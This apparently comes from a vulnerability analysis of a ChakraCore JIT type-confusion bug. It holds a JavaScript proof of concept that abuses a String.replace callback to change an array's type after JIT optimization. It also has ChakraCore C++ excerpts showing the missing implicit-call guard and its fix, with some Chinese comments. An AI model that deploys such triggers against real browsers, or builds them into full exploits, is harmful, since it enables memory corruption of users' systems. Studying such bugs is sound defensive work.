function main() {
    let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
    function opt(f) {
        arr[0] = 1.1;
        arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
        arr[2] = 1.1;
        arr[3] = 1.1;
    }

    let r0 = () => '0';
    for (var i = 0; i < 0x1000; i++)
        opt(r0);

    opt(() => {
        arr[0] = {};
        return '0';
    });

    print(arr[1]);
}

main();

template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
{
    // For now, we will not allow Function that is marked as HasNoSideEffect to be called, and we will just bailout.
    // These function may still throw exceptions, so we will need to add checks with RecordImplicitException
    // so that we don't throw exception when disableImplicitCall is set before we allow these function to be called
    // as an optimization.  (These functions are valueOf and toString calls for built-in non primitive types)

    Js::FunctionInfo::Attributes attributes = Js::FunctionInfo::GetAttributes(function);

    // we can hoist out const method if we know the function doesn't have side effect,
    // and the value can be hoisted.
    // 没有Side Effect的函数可以直接调用
    if (this->HasNoSideEffect(function, attributes))
    {
        // Has no side effect means the function does not change global value or
        // will check for implicit call flags
        return implicitCall();
    }

    // Don't call the implicit call if disable implicit call
    // 如果ImplicitCall被禁用表示不允许调用
    if (IsDisableImplicitCall())
    {
        AddImplicitCallFlags(flags);
        // Return "undefined" just so we have a valid var, in case subsequent instructions are executed
        // before we bail out.
        return function->GetScriptContext()->GetLibrary()->GetUndefined();
    }

    if ((attributes & Js::FunctionInfo::HasNoSideEffect) != 0)
    {
        // Has no side effect means the function does not change global value or
        // will check for implicit call flags
        return implicitCall();
    }

    // Save and restore implicit flags around the implicit call

    // 此时明确有回调且有Side Effect，所以设置saveImplicitCallFlags的值
    Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
    Js::Var result = implicitCall();
    this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
    return result;
}

Var RegexHelper::StringReplace(JavascriptString* match, JavascriptString* input, JavascriptFunction* replacefn)
{
    CharCount indexMatched = JavascriptString::strstr(input, match, true);
    ScriptContext* scriptContext = replacefn->GetScriptContext();
    Assert(match->GetScriptContext() == scriptContext);
    Assert(input->GetScriptContext() == scriptContext);

    if (indexMatched != CharCountFlag)
    {
        Var pThis = scriptContext->GetLibrary()->GetUndefined();
        // 调用用户定义的函数
        Var replaceVar = CALL_FUNCTION(scriptContext->GetThreadContext(), replacefn, CallInfo(4), pThis, match, JavascriptNumber::ToVar((int)indexMatched, scriptContext), input);  // <--
        JavascriptString* replace = JavascriptConversion::ToString(replaceVar, scriptContext);
        const char16* inputStr = input->GetString();
        const char16* prefixStr = inputStr;
        CharCount prefixLength = indexMatched;
        const char16* postfixStr = inputStr + prefixLength + match->GetLength();
        CharCount postfixLength = input->GetLength() - prefixLength - match->GetLength();
        CharCount newLength = prefixLength + postfixLength + replace->GetLength();
        BufferStringBuilder bufferString(newLength, match->GetScriptContext());
        bufferString.SetContent(prefixStr, prefixLength,
                                replace->GetString(), replace->GetLength(),
                                postfixStr, postfixLength);
        return bufferString.ToString();
    }
    return input;
}

ThreadContext* threadContext = scriptContext->GetThreadContext();
Var replaceVar = threadContext->ExecuteImplicitCall(replacefn, ImplicitCall_Accessor, [=]()->Js::Var
{
    Var pThis = scriptContext->GetLibrary()->GetUndefined();
    return CALL_FUNCTION(threadContext, replacefn, CallInfo(4), pThis, match, JavascriptNumber::ToVar((int)indexMatched, scriptContext), input);
});

enum ImplicitCallFlags : BYTE
{
    ImplicitCall_HasNoInfo = 0x00,
    ImplicitCall_None = 0x01,
    ImplicitCall_ToPrimitive = 0x02 | ImplicitCall_None,
    ImplicitCall_Accessor = 0x04 | ImplicitCall_None,
    ImplicitCall_NonProfiledAccessor = 0x08 | ImplicitCall_None,
    ImplicitCall_External = 0x10 | ImplicitCall_None,
    ImplicitCall_Exception = 0x20 | ImplicitCall_None,
    ImplicitCall_NoOpSet = 0x40 | ImplicitCall_None,
    ImplicitCall_All = 0x7F,
    ImplicitCall_AsyncHostOperation = 0x80
};